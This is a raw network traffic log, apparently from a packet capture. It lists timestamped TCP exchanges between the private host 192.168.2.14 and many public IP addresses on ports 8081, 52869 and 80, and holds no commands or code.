Jul 20, 2024 23:01:03.243798971 CEST	55808	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:03.243798971 CEST	55808	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:03.243966103 CEST	80	57296	88.216.10.4	192.168.2.14
Jul 20, 2024 23:01:03.244664907 CEST	80	58832	88.137.178.19	192.168.2.14
Jul 20, 2024 23:01:03.244832993 CEST	8081	49272	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:03.245224953 CEST	56154	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:03.245793104 CEST	8081	54574	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:03.245798111 CEST	8081	54574	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:03.245806932 CEST	52869	56844	114.173.101.131	192.168.2.14
Jul 20, 2024 23:01:03.245841026 CEST	56844	52869	192.168.2.14	114.173.101.131
Jul 20, 2024 23:01:03.245851994 CEST	52356	80	192.168.2.14	88.215.217.240
Jul 20, 2024 23:01:03.246001959 CEST	58832	80	192.168.2.14	88.137.178.19
Jul 20, 2024 23:01:03.246213913 CEST	57296	80	192.168.2.14	88.216.10.4
Jul 20, 2024 23:01:03.246385098 CEST	45714	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.246385098 CEST	45714	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.246835947 CEST	36454	52869	192.168.2.14	182.207.82.188
Jul 20, 2024 23:01:03.247325897 CEST	8081	54918	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:03.247386932 CEST	8081	41956	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:03.247397900 CEST	54918	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:03.247896910 CEST	80	43606	88.228.66.77	192.168.2.14
Jul 20, 2024 23:01:03.247941971 CEST	43606	80	192.168.2.14	88.228.66.77
Jul 20, 2024 23:01:03.248603106 CEST	46060	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.249656916 CEST	8081	55808	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:03.249660969 CEST	8081	55808	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:03.250051975 CEST	52456	52869	192.168.2.14	71.96.116.185
Jul 20, 2024 23:01:03.250051975 CEST	41196	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.250051975 CEST	41196	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.250499010 CEST	8081	37660	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:03.250513077 CEST	8081	56154	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:03.250854015 CEST	80	48552	88.240.131.159	192.168.2.14
Jul 20, 2024 23:01:03.250946045 CEST	80	52356	88.215.217.240	192.168.2.14
Jul 20, 2024 23:01:03.251007080 CEST	41540	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.251032114 CEST	52356	80	192.168.2.14	88.215.217.240
Jul 20, 2024 23:01:03.251214981 CEST	8081	45714	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:03.251606941 CEST	8081	45714	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:03.252080917 CEST	41956	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:03.252191067 CEST	52869	36454	182.207.82.188	192.168.2.14
Jul 20, 2024 23:01:03.252255917 CEST	55296	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.252255917 CEST	55296	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.252288103 CEST	36454	52869	192.168.2.14	182.207.82.188
Jul 20, 2024 23:01:03.252454042 CEST	52869	54232	194.147.115.196	192.168.2.14
Jul 20, 2024 23:01:03.252459049 CEST	8081	53898	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:03.252516031 CEST	49556	52869	192.168.2.14	209.88.50.174
Jul 20, 2024 23:01:03.252655983 CEST	80	58264	88.244.23.21	192.168.2.14
Jul 20, 2024 23:01:03.254046917 CEST	8081	46060	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:03.254117966 CEST	56154	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:03.254239082 CEST	46060	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.254275084 CEST	37660	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:03.254328012 CEST	58264	80	192.168.2.14	88.244.23.21
Jul 20, 2024 23:01:03.255112886 CEST	53898	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:03.255112886 CEST	54232	52869	192.168.2.14	194.147.115.196
Jul 20, 2024 23:01:03.255112886 CEST	48552	80	192.168.2.14	88.240.131.159
Jul 20, 2024 23:01:03.255194902 CEST	52869	52456	71.96.116.185	192.168.2.14
Jul 20, 2024 23:01:03.255203962 CEST	8081	41196	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:03.255420923 CEST	55638	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.255424023 CEST	8081	41196	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:03.255439043 CEST	52456	52869	192.168.2.14	71.96.116.185
Jul 20, 2024 23:01:03.255801916 CEST	8081	52040	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:03.256314039 CEST	8081	41540	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:03.256346941 CEST	41540	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.257292986 CEST	44600	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.257292986 CEST	44600	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.257599115 CEST	54724	52869	192.168.2.14	196.52.15.30
Jul 20, 2024 23:01:03.257836103 CEST	8081	55296	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:03.257838964 CEST	8081	55296	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:03.257846117 CEST	44940	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.258083105 CEST	52869	56844	114.173.101.131	192.168.2.14
Jul 20, 2024 23:01:03.258217096 CEST	56844	52869	192.168.2.14	114.173.101.131
Jul 20, 2024 23:01:03.258440971 CEST	80	58832	88.137.178.19	192.168.2.14
Jul 20, 2024 23:01:03.258658886 CEST	52040	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:03.259175062 CEST	33934	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.259175062 CEST	33934	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.259350061 CEST	8081	54918	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:03.259506941 CEST	52869	49556	209.88.50.174	192.168.2.14
Jul 20, 2024 23:01:03.259578943 CEST	45992	52869	192.168.2.14	145.114.175.209
Jul 20, 2024 23:01:03.259917974 CEST	49556	52869	192.168.2.14	209.88.50.174
Jul 20, 2024 23:01:03.260113001 CEST	80	43606	88.228.66.77	192.168.2.14
Jul 20, 2024 23:01:03.260211945 CEST	34272	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.261154890 CEST	8081	55638	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:03.261359930 CEST	55638	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.261539936 CEST	51734	52869	192.168.2.14	154.234.222.130
Jul 20, 2024 23:01:03.261979103 CEST	36138	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.261979103 CEST	36138	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.262227058 CEST	58832	80	192.168.2.14	88.137.178.19
Jul 20, 2024 23:01:03.262438059 CEST	80	52356	88.215.217.240	192.168.2.14
Jul 20, 2024 23:01:03.262442112 CEST	52869	36454	182.207.82.188	192.168.2.14
Jul 20, 2024 23:01:03.262799978 CEST	54918	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:03.262868881 CEST	8081	56154	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:03.263530016 CEST	8081	46060	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:03.264352083 CEST	8081	44600	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:03.264354944 CEST	8081	44600	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:03.265549898 CEST	52869	52456	71.96.116.185	192.168.2.14
Jul 20, 2024 23:01:03.266205072 CEST	52456	52869	192.168.2.14	71.96.116.185
Jul 20, 2024 23:01:03.266207933 CEST	46060	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:03.266212940 CEST	56154	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:03.266225100 CEST	36454	52869	192.168.2.14	182.207.82.188
Jul 20, 2024 23:01:03.266299963 CEST	8081	44940	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:03.266308069 CEST	8081	41540	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:03.266320944 CEST	52869	54724	196.52.15.30	192.168.2.14
Jul 20, 2024 23:01:03.266356945 CEST	54724	52869	192.168.2.14	196.52.15.30
Jul 20, 2024 23:01:03.266391993 CEST	43606	80	192.168.2.14	88.228.66.77
Jul 20, 2024 23:01:03.266391993 CEST	36474	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.266407967 CEST	52356	80	192.168.2.14	88.215.217.240
Jul 20, 2024 23:01:03.266407967 CEST	44940	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.266582012 CEST	38866	80	192.168.2.14	88.144.23.75
Jul 20, 2024 23:01:03.267118931 CEST	8081	33934	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:03.267122984 CEST	8081	33934	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:03.267610073 CEST	52869	45992	145.114.175.209	192.168.2.14
Jul 20, 2024 23:01:03.267712116 CEST	45992	52869	192.168.2.14	145.114.175.209
Jul 20, 2024 23:01:03.268100023 CEST	42018	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.268100977 CEST	42018	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.268219948 CEST	46042	52869	192.168.2.14	62.62.247.176
Jul 20, 2024 23:01:03.268559933 CEST	8081	34272	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:03.268615007 CEST	34272	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.269404888 CEST	52869	49556	209.88.50.174	192.168.2.14
Jul 20, 2024 23:01:03.269769907 CEST	52869	51734	154.234.222.130	192.168.2.14
Jul 20, 2024 23:01:03.269809008 CEST	51734	52869	192.168.2.14	154.234.222.130
Jul 20, 2024 23:01:03.269850969 CEST	42354	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.269891024 CEST	50720	80	192.168.2.14	88.220.15.56
Jul 20, 2024 23:01:03.269941092 CEST	8081	55638	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:03.270210028 CEST	41540	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:03.270302057 CEST	49556	52869	192.168.2.14	209.88.50.174
Jul 20, 2024 23:01:03.270344973 CEST	55638	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:03.270936012 CEST	8081	36138	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:03.270944118 CEST	8081	36138	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:03.272470951 CEST	80	38866	88.144.23.75	192.168.2.14
Jul 20, 2024 23:01:03.272511959 CEST	38866	80	192.168.2.14	88.144.23.75
Jul 20, 2024 23:01:03.272636890 CEST	52869	54724	196.52.15.30	192.168.2.14
Jul 20, 2024 23:01:03.272650957 CEST	8081	36474	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:03.273451090 CEST	8081	44940	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:03.273710966 CEST	8081	42018	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:03.273715973 CEST	8081	42018	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:03.273741007 CEST	52869	45992	145.114.175.209	192.168.2.14
Jul 20, 2024 23:01:03.274081945 CEST	52869	46042	62.62.247.176	192.168.2.14
Jul 20, 2024 23:01:03.274945021 CEST	8081	34272	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:03.275306940 CEST	46042	52869	192.168.2.14	62.62.247.176
Jul 20, 2024 23:01:03.275325060 CEST	36474	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.275326014 CEST	46984	52869	192.168.2.14	207.107.95.51
Jul 20, 2024 23:01:03.275764942 CEST	80	50720	88.220.15.56	192.168.2.14
Jul 20, 2024 23:01:03.275788069 CEST	8081	42354	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:03.275999069 CEST	52869	51734	154.234.222.130	192.168.2.14
Jul 20, 2024 23:01:03.276207924 CEST	42354	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.276675940 CEST	44940	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:03.278306961 CEST	34272	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:03.278906107 CEST	45992	52869	192.168.2.14	145.114.175.209
Jul 20, 2024 23:01:03.278906107 CEST	54724	52869	192.168.2.14	196.52.15.30
Jul 20, 2024 23:01:03.279347897 CEST	80	38866	88.144.23.75	192.168.2.14
Jul 20, 2024 23:01:03.280050039 CEST	50720	80	192.168.2.14	88.220.15.56
Jul 20, 2024 23:01:03.280287981 CEST	55102	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.280287981 CEST	55102	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.280957937 CEST	51734	52869	192.168.2.14	154.234.222.130
Jul 20, 2024 23:01:03.281694889 CEST	8081	36474	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:03.282215118 CEST	38866	80	192.168.2.14	88.144.23.75
Jul 20, 2024 23:01:03.282217979 CEST	36474	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:03.282454014 CEST	55440	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.282622099 CEST	52869	46984	207.107.95.51	192.168.2.14
Jul 20, 2024 23:01:03.282670021 CEST	46984	52869	192.168.2.14	207.107.95.51
Jul 20, 2024 23:01:03.283689022 CEST	39442	80	192.168.2.14	88.64.207.165
Jul 20, 2024 23:01:03.283893108 CEST	52869	46042	62.62.247.176	192.168.2.14
Jul 20, 2024 23:01:03.284387112 CEST	43610	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.284387112 CEST	43610	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.285304070 CEST	60050	52869	192.168.2.14	37.92.251.97
Jul 20, 2024 23:01:03.285831928 CEST	8081	42354	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:03.286215067 CEST	42354	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:03.286273003 CEST	46042	52869	192.168.2.14	62.62.247.176
Jul 20, 2024 23:01:03.286771059 CEST	43948	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.287169933 CEST	33760	80	192.168.2.14	88.196.99.67
Jul 20, 2024 23:01:03.288249969 CEST	44268	52869	192.168.2.14	5.43.253.115
Jul 20, 2024 23:01:03.288660049 CEST	41514	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.288660049 CEST	41514	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.289562941 CEST	41852	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.290764093 CEST	8081	55102	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:03.290767908 CEST	8081	55102	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:03.291090012 CEST	52660	80	192.168.2.14	88.232.39.154
Jul 20, 2024 23:01:03.291296959 CEST	80	50720	88.220.15.56	192.168.2.14
Jul 20, 2024 23:01:03.291826963 CEST	59048	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.291826963 CEST	59048	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.292207956 CEST	8081	55440	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:03.292262077 CEST	55440	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.292665005 CEST	52869	46984	207.107.95.51	192.168.2.14
Jul 20, 2024 23:01:03.293880939 CEST	80	39442	88.64.207.165	192.168.2.14
Jul 20, 2024 23:01:03.294092894 CEST	8081	43610	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:03.294101000 CEST	8081	43610	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:03.294224024 CEST	52869	60050	37.92.251.97	192.168.2.14
Jul 20, 2024 23:01:03.294301987 CEST	60050	52869	192.168.2.14	37.92.251.97
Jul 20, 2024 23:01:03.294337034 CEST	43994	52869	192.168.2.14	173.77.175.8
Jul 20, 2024 23:01:03.294337034 CEST	50720	80	192.168.2.14	88.220.15.56
Jul 20, 2024 23:01:03.294549942 CEST	8081	43948	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:03.294565916 CEST	80	33760	88.196.99.67	192.168.2.14
Jul 20, 2024 23:01:03.294594049 CEST	43948	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.294723034 CEST	52869	44268	5.43.253.115	192.168.2.14
Jul 20, 2024 23:01:03.294735909 CEST	8081	41514	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:03.294801950 CEST	33760	80	192.168.2.14	88.196.99.67
Jul 20, 2024 23:01:03.294827938 CEST	44268	52869	192.168.2.14	5.43.253.115
Jul 20, 2024 23:01:03.295034885 CEST	8081	41514	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:03.295049906 CEST	8081	41852	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:03.295310020 CEST	39442	80	192.168.2.14	88.64.207.165
Jul 20, 2024 23:01:03.296067953 CEST	41852	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.296262980 CEST	46984	52869	192.168.2.14	207.107.95.51
Jul 20, 2024 23:01:03.296871901 CEST	80	52660	88.232.39.154	192.168.2.14
Jul 20, 2024 23:01:03.296920061 CEST	52660	80	192.168.2.14	88.232.39.154
Jul 20, 2024 23:01:03.297259092 CEST	8081	59048	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:03.297558069 CEST	8081	59048	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:03.297703981 CEST	59386	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.297816038 CEST	8081	55440	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:03.298221111 CEST	55440	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:03.298382044 CEST	35976	80	192.168.2.14	88.217.154.135
Jul 20, 2024 23:01:03.299338102 CEST	39248	52869	192.168.2.14	35.91.143.191
Jul 20, 2024 23:01:03.299701929 CEST	35242	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:03.299701929 CEST	35242	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:03.299824953 CEST	52869	43994	173.77.175.8	192.168.2.14
Jul 20, 2024 23:01:03.299913883 CEST	43994	52869	192.168.2.14	173.77.175.8
Jul 20, 2024 23:01:03.300873041 CEST	35580	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:03.301170111 CEST	52869	60050	37.92.251.97	192.168.2.14
Jul 20, 2024 23:01:03.301507950 CEST	8081	43948	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:03.302838087 CEST	43948	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:03.302936077 CEST	60050	52869	192.168.2.14	37.92.251.97
Jul 20, 2024 23:01:03.304503918 CEST	80	33760	88.196.99.67	192.168.2.14
Jul 20, 2024 23:01:03.304676056 CEST	80	39442	88.64.207.165	192.168.2.14
Jul 20, 2024 23:01:03.304723024 CEST	52869	44268	5.43.253.115	192.168.2.14
Jul 20, 2024 23:01:03.304727077 CEST	8081	41852	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:03.304795980 CEST	80	52660	88.232.39.154	192.168.2.14
Jul 20, 2024 23:01:03.305998087 CEST	8081	59386	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:03.306073904 CEST	80	35976	88.217.154.135	192.168.2.14
Jul 20, 2024 23:01:03.306303978 CEST	52869	39248	35.91.143.191	192.168.2.14
Jul 20, 2024 23:01:03.306308031 CEST	8081	35242	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:03.306315899 CEST	8081	35242	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:03.307550907 CEST	52869	43994	173.77.175.8	192.168.2.14
Jul 20, 2024 23:01:03.309669018 CEST	8081	35580	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:03.333519936 CEST	52660	80	192.168.2.14	88.232.39.154
Jul 20, 2024 23:01:03.333519936 CEST	33760	80	192.168.2.14	88.196.99.67
Jul 20, 2024 23:01:03.334461927 CEST	39442	80	192.168.2.14	88.64.207.165
Jul 20, 2024 23:01:03.340843916 CEST	35580	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:03.342411995 CEST	41852	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:03.342411995 CEST	44268	52869	192.168.2.14	5.43.253.115
Jul 20, 2024 23:01:03.343115091 CEST	35976	80	192.168.2.14	88.217.154.135
Jul 20, 2024 23:01:03.347738981 CEST	39248	52869	192.168.2.14	35.91.143.191
Jul 20, 2024 23:01:03.352427959 CEST	80	35976	88.217.154.135	192.168.2.14
Jul 20, 2024 23:01:03.354270935 CEST	52869	39248	35.91.143.191	192.168.2.14
Jul 20, 2024 23:01:03.367712975 CEST	59386	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.373244047 CEST	8081	59386	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:03.387577057 CEST	43994	52869	192.168.2.14	173.77.175.8
Jul 20, 2024 23:01:03.406474113 CEST	35976	80	192.168.2.14	88.217.154.135
Jul 20, 2024 23:01:03.407619953 CEST	39248	52869	192.168.2.14	35.91.143.191
Jul 20, 2024 23:01:03.409143925 CEST	43624	80	192.168.2.14	88.225.164.144
Jul 20, 2024 23:01:03.410130978 CEST	48016	52869	192.168.2.14	217.244.72.189
Jul 20, 2024 23:01:03.410312891 CEST	59386	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:03.410423994 CEST	39728	52869	192.168.2.14	123.243.178.81
Jul 20, 2024 23:01:03.410423994 CEST	44818	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.410518885 CEST	33604	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.410518885 CEST	33604	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.410654068 CEST	49632	80	192.168.2.14	88.202.206.220
Jul 20, 2024 23:01:03.410654068 CEST	44480	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.410654068 CEST	44480	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.411776066 CEST	33942	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.412587881 CEST	47936	80	192.168.2.14	88.135.31.71
Jul 20, 2024 23:01:03.413367033 CEST	35610	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.413367033 CEST	35610	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.413747072 CEST	48680	52869	192.168.2.14	65.248.115.141
Jul 20, 2024 23:01:03.415117979 CEST	35948	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.415438890 CEST	49914	80	192.168.2.14	88.56.57.178
Jul 20, 2024 23:01:03.416606903 CEST	58720	52869	192.168.2.14	41.70.70.158
Jul 20, 2024 23:01:03.416863918 CEST	53592	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.416863918 CEST	53592	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.418107033 CEST	53932	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.418891907 CEST	80	43624	88.225.164.144	192.168.2.14
Jul 20, 2024 23:01:03.419018030 CEST	43624	80	192.168.2.14	88.225.164.144
Jul 20, 2024 23:01:03.419970989 CEST	59316	80	192.168.2.14	88.54.76.9
Jul 20, 2024 23:01:03.420370102 CEST	52869	48016	217.244.72.189	192.168.2.14
Jul 20, 2024 23:01:03.420440912 CEST	48016	52869	192.168.2.14	217.244.72.189
Jul 20, 2024 23:01:03.420646906 CEST	60118	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.420646906 CEST	60118	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.421060085 CEST	52869	39728	123.243.178.81	192.168.2.14
Jul 20, 2024 23:01:03.421091080 CEST	43302	52869	192.168.2.14	188.64.202.52
Jul 20, 2024 23:01:03.421145916 CEST	39728	52869	192.168.2.14	123.243.178.81
Jul 20, 2024 23:01:03.421344042 CEST	8081	44818	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:03.421354055 CEST	8081	33604	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:03.421361923 CEST	8081	33604	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:03.421406031 CEST	44818	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:03.421745062 CEST	80	49632	88.202.206.220	192.168.2.14
Jul 20, 2024 23:01:03.421749115 CEST	8081	44480	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:03.421752930 CEST	8081	44480	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:03.421766996 CEST	8081	33942	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:03.421804905 CEST	33942	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:03.421822071 CEST	80	47936	88.135.31.71	192.168.2.14
Jul 20, 2024 23:01:03.421834946 CEST	8081	35610	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:03.421843052 CEST	8081	35610	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:03.421860933 CEST	52869	48680	65.248.115.141	192.168.2.14
Jul 20, 2024 23:01:03.421874046 CEST	8081	35948	173.159.186.163	192.168.2.14
Jul 20, 2024 23:01:03.421904087 CEST	49632	80	192.168.2.14	88.202.206.220
Jul 20, 2024 23:01:03.421904087 CEST	47936	80	192.168.2.14	88.135.31.71
Jul 20, 2024 23:01:03.422008991 CEST	48680	52869	192.168.2.14	65.248.115.141
Jul 20, 2024 23:01:03.422048092 CEST	80	49914	88.56.57.178	192.168.2.14
Jul 20, 2024 23:01:03.422282934 CEST	35948	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:03.422549963 CEST	49914	80	192.168.2.14	88.56.57.178
Jul 20, 2024 23:01:03.422549963 CEST	60458	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.424052954 CEST	50516	52869	192.168.2.14	213.207.143.98
Jul 20, 2024 23:01:03.424298048 CEST	39910	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.424298048 CEST	39910	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.425333023 CEST	40250	8081	192.168.2.14	72.59.175.128
Jul 20, 2024 23:01:03.425365925 CEST	40092	80	192.168.2.14	88.176.168.193
Jul 20, 2024 23:01:03.425843954 CEST	52869	58720	41.70.70.158	192.168.2.14
Jul 20, 2024 23:01:03.425904989 CEST	58720	52869	192.168.2.14	41.70.70.158
Jul 20, 2024 23:01:03.426039934 CEST	8081	53592	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:03.426044941 CEST	8081	53592	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:03.426152945 CEST	8081	53932	37.42.171.254	192.168.2.14
Jul 20, 2024 23:01:03.426446915 CEST	36426	80	192.168.2.14	88.65.113.2
Jul 20, 2024 23:01:03.426517963 CEST	53932	8081	192.168.2.14	37.42.171.254
Jul 20, 2024 23:01:03.426786900 CEST	80	59316	88.54.76.9	192.168.2.14
Jul 20, 2024 23:01:03.426795959 CEST	8081	60118	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:03.426805973 CEST	8081	60118	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:03.426832914 CEST	52869	43302	188.64.202.52	192.168.2.14
Jul 20, 2024 23:01:03.426856041 CEST	59316	80	192.168.2.14	88.54.76.9
Jul 20, 2024 23:01:03.426949978 CEST	80	43624	88.225.164.144	192.168.2.14
Jul 20, 2024 23:01:03.427419901 CEST	43302	52869	192.168.2.14	188.64.202.52
Jul 20, 2024 23:01:03.427714109 CEST	52869	48016	217.244.72.189	192.168.2.14
Jul 20, 2024 23:01:03.427723885 CEST	52869	39728	123.243.178.81	192.168.2.14
Jul 20, 2024 23:01:03.427728891 CEST	8081	60458	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:03.428410053 CEST	8081	44818	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:03.428803921 CEST	80	49632	88.202.206.220	192.168.2.14
Jul 20, 2024 23:01:03.428812981 CEST	80	47936	88.135.31.71	192.168.2.14
Jul 20, 2024 23:01:03.429928064 CEST	36162	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.429928064 CEST	36162	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.429928064 CEST	60916	52869	192.168.2.14	187.235.69.197
Jul 20, 2024 23:01:03.429928064 CEST	60458	8081	192.168.2.14	128.37.79.13
Jul 20, 2024 23:01:03.429939985 CEST	36502	8081	192.168.2.14	212.240.235.211
Jul 20, 2024 23:01:03.430227041 CEST	43624	80	192.168.2.14	88.225.164.144
